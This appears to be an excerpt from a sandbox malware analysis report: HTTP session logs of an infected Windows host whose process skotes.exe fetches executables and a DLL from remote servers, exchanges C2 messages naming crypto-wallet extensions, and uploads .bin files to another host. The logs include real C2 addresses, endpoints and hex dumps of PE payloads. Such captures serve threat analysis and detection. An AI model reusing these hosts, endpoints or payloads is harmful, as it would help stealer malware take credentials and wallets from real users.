------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="message"fplugins------HCBFIJJECFIEBGDGCFIJ--
Nov 23, 2024 11:22:41.219811916 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 11:22:41.456202984 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.206 Content-Length: 7219 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 11:22:41.456245899 CET	7219	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 11:22:42.589298010 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 11:22:42.896451950 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 11:22:43.342319012 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 11:22:43.342356920 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 11:22:43.344402075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49842	185.215.113.16	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:38.577141047 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 11:22:39.961985111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:39 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Sat, 23 Nov 2024 10:17:39 GMT Connection: keep-alive ETag: "6741abc3-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bb ab 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELAg"fw@p>@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 23, 2024 11:22:39.962016106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 23, 2024 11:22:39.962033033 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 23, 2024 11:22:39.962109089 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 23, 2024 11:22:39.962125063 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 23, 2024 11:22:39.962141991 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 23, 2024 11:22:39.962157965 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 23, 2024 11:22:39.962212086 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 23, 2024 11:22:39.962228060 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 23, 2024 11:22:39.962241888 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 23, 2024 11:22:40.083333969 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49857	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:44.365253925 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008413001&unit=246122658369
Nov 23, 2024 11:22:45.702666044 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49864	34.116.198.130	80	928	C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:45.318985939 CET	638	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 459 Content-Type: multipart/form-data; boundary=------------------------zYIjUu01B8kvKn9oMUOXBw Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 59 49 6a 55 75 30 31 42 38 6b 76 4b 6e 39 6f 4d 55 4f 58 42 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 74 6f 79 61 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4a 2d ba 8f 32 99 f4 3c 9a e5 59 8d 3a 00 09 8e a6 9e 2e 67 59 45 1d b9 9e 95 f2 dd 2b 7b da d9 4b bd 11 3f 29 2f 46 7d bb f6 08 49 59 1f 89 ef 5c 7f de ea a2 6d 04 7e e6 ac 01 2a 77 0f 67 89 99 f3 b7 cc 54 2c 4f e4 a5 c1 f4 ca a0 b4 f9 a4 e7 1e 7b f1 f9 4c a6 9d 5c 0b 64 2f 76 fe ac 71 70 fb e8 d0 1f fc f0 27 cd 85 93 77 7b 21 a8 3b 53 fa c4 a8 c7 bf e7 4f f1 0c ca 79 2a 21 0e 7f 41 4f 11 e9 16 29 30 51 c8 b8 4f 46 80 d2 71 51 85 09 25 95 d3 1f cd 77 32 a4 7e 28 f6 0b 01 79 d3 65 a3 2d 59 d7 2b 7c 1c 56 25 cc c7 1c 3e 34 68 [TRUNCATED] Data Ascii: --------------------------zYIjUu01B8kvKn9oMUOXBwContent-Disposition: form-data; name="file"; filename="Yitoyag.bin"Content-Type: application/octet-streamJ-2<Y:.gYE+{K?)/F}IY\m~wgT,O{L\d/vqp'w{!;SOy!AO)0QOFqQ%w2~(ye-Y+\|V%>4h`Jr"g^'6dJ.R>cu[>{j>F 3--------------------------zYIjUu01B8kvKn9oMUOXBw--
Nov 23, 2024 11:22:46.824532986 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 10:22:46 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49865	185.215.113.16	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:45.853965998 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 11:22:47.219130039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:46 GMT Content-Type: application/octet-stream Content-Length: 2833408 Last-Modified: Sat, 23 Nov 2024 10:18:04 GMT Connection: keep-alive ETag: "6741abdc-2b3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 69 69 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +ii+`Ui` @ @.rsrc`2@.idata 8@icbwwxfp**:@jtrkmseq ++@.taggant@+"+@
Nov 23, 2024 11:22:47.219193935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219209909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219228029 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219325066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219393969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219409943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219434023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:47.219449043 CET	1236	IN	Data Raw: 7b 7d 83 c7 6c 9a 04 67 14 7b e8 d2 56 27 0d 26 51 ba bd a4 a3 cd 8b 4b 19 f3 1d 96 39 cf 8a e3 96 46 74 21 a9 ae d1 71 c0 4d af 0b 48 7d 9f 81 a5 85 b2 f3 bf f9 12 ea 45 ad 8f a6 39 7e be 76 3c 5d 52 68 bb 69 8d 4b 3b 49 89 44 01 76 65 1d c2 c8 Data Ascii: {}lg{V'&QK9Ft!qMH}E9~v<]RhiK;IDveu=9t"%QNkqq4SKG9^\\|;N7p?{C_qL{y8~skY\JND3qows4xE+v8%{Z~H[71]
Nov 23, 2024 11:22:47.219468117 CET	1236	IN	Data Raw: 22 78 bd c6 62 9a 98 b4 e4 5d df d5 2c 5e 96 84 81 69 c5 d3 85 bf e2 db 74 f4 f4 69 88 f5 c9 73 77 87 b5 b7 d2 1f d8 82 85 b8 5a 54 d5 18 f9 84 7b b7 cd b1 72 1d 80 dc 82 ed d2 62 af a8 e5 a8 59 8b be 1a 75 90 b5 43 b2 38 f6 a6 80 62 a3 d9 83 8e Data Ascii: "xb],^itiswZT{rbYuC8b_c+p[/@{6s{q1zRYE2$\/4B%!/)7jQFbtQodMtev&Af%TXSx/
Nov 23, 2024 11:22:47.339513063 CET	776	IN	Data Raw: 82 49 98 1d 41 e7 4f ca 65 2c 9d fa 7d 8a d3 1e 4b 65 3a d0 fe e0 1f 96 7d 8f 3f 8d b1 cc 98 b2 2d 62 95 25 48 7a f1 b3 5c 9a 8b d1 91 64 78 90 cd f9 a0 87 c2 6d c2 37 76 a7 ae b7 f2 87 62 ff 49 91 4f c8 14 88 f2 cf 98 08 be c0 77 9a be f5 4d 90 Data Ascii: IAOe,}Ke:}?-b%Hz\dxm7vbIOwMo\|>FNa [t6n<]/=H@i7gZ-/vyb_+ifPDwx;&)>WP,bA=s!RhZp}D)TTO,i/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49881	34.116.198.130	80	928	C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:48.652591944 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 92127 Content-Type: multipart/form-data; boundary=------------------------rtMTJDf6LzDUvvjjT9fnWg Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 74 4d 54 4a 44 66 36 4c 7a 44 55 76 76 6a 6a 54 39 66 6e 57 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 67 6f 76 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a db b1 6a 42 be 67 1d ea 98 e3 47 62 b9 a2 61 27 7c bc 81 7b 6c 2f 36 8c 3e 1a d6 0c 00 23 95 b8 6c 45 ef a6 46 c3 3c 6c f1 50 62 8e 73 31 19 44 b2 3c 1b 3c 4c 3f ae 63 80 93 a2 0b ab 0a 43 07 da 7c f3 54 40 e6 9a 81 ac 3d 8d 70 b3 fb 9a 19 63 8f cb 6b 07 49 ec ff 84 a1 18 a5 37 32 c4 bc a5 ff 10 b9 64 ac 25 15 7d 90 a3 89 3d 8b a9 fe e9 b7 64 bd c9 c8 04 92 ff a9 22 98 70 f9 02 a0 8d 8b 19 41 57 55 37 e8 78 26 6d 7e f0 1f db 54 38 89 62 b6 f5 81 f2 b6 2a 38 a1 77 c0 32 ef 02 c6 37 22 68 16 3c a6 e2 9a 80 29 61 8a de 78 92 e3 [TRUNCATED] Data Ascii: --------------------------rtMTJDf6LzDUvvjjT9fnWgContent-Disposition: form-data; name="file"; filename="Vugovam.bin"Content-Type: application/octet-streamjBgGba'\|{l/6>#lEF<lPbs1D<<L?cC\|T@=pckI72d%}=d"pAWU7x&m~T8b8w27"h<)ax(rx,0pWr:l9.t]3^HyX]`cHYJl+\G^<+r}_-J8U\|P3uEG"($'3-$\|=W7:#&>y^k7B n=ah@.\|-[!S)p^?a.NJ\5EK'2J@fE}G=g3c2e\c\|v!s\|ar<\I$})0s=D\b,jSJ`YKQN90LKv0<)1FoYr\|aay(k[ihXg-,6,AP?X.m/d+>Pq!`)$G7$cF-yi](/j>?em5+5>KoP=-aG6P'cRS}{v/c2HEbL^g<_mf9J=DAq[x(34r/MdX [TRUNCATED]
Nov 23, 2024 11:22:48.772185087 CET	4944	OUT	Data Raw: a5 79 42 f3 b2 43 1f bd b2 42 b3 1e a5 f6 f8 c7 ba 8f 55 3a e7 58 3b a8 ec 11 08 39 53 55 a4 1a 71 86 4a d4 a3 85 d1 18 7c 11 53 7b 83 cd 5e 7a 0c 6c 2e 7c 2c fb 42 93 87 a0 18 06 e1 22 e9 b9 1a ad b7 ea 14 f2 3e f9 b4 41 b7 4d 72 ea 6f a3 6b 81 Data Ascii: yBCBU:X;9SUqJ\|S{^zl.\|,B">AMrok[qvHU\C1DPPe<p9=KR97gtRP"VUF:fhd5V$!'-ilg*nuz-Gw%ukBD#PRe
Nov 23, 2024 11:22:48.772217035 CET	2472	OUT	Data Raw: 4d bf 0e 0d 45 d5 00 59 94 c8 a3 c8 43 e2 f3 e4 d3 c2 f8 d6 b6 83 9a aa 2e ce 69 a6 bc 8d 97 47 6b d6 6a 2a 69 ca 76 67 a4 a8 43 eb f0 63 5a 95 c5 ce 1e 9e b3 ff b6 64 bf 6b e1 4e 2e 73 08 90 bd 35 e0 11 ab c1 1c fc 21 62 48 a4 8a 74 55 b9 05 5b Data Ascii: MEYC.iGkjivgCcZdkN.s5!bHtU[%1~3ZaaU<Hv{d=}eqNV+:lEL`+)sPY}4Qp8<!44k>ig-:fQ@Drn5[N]5_cl?jZ
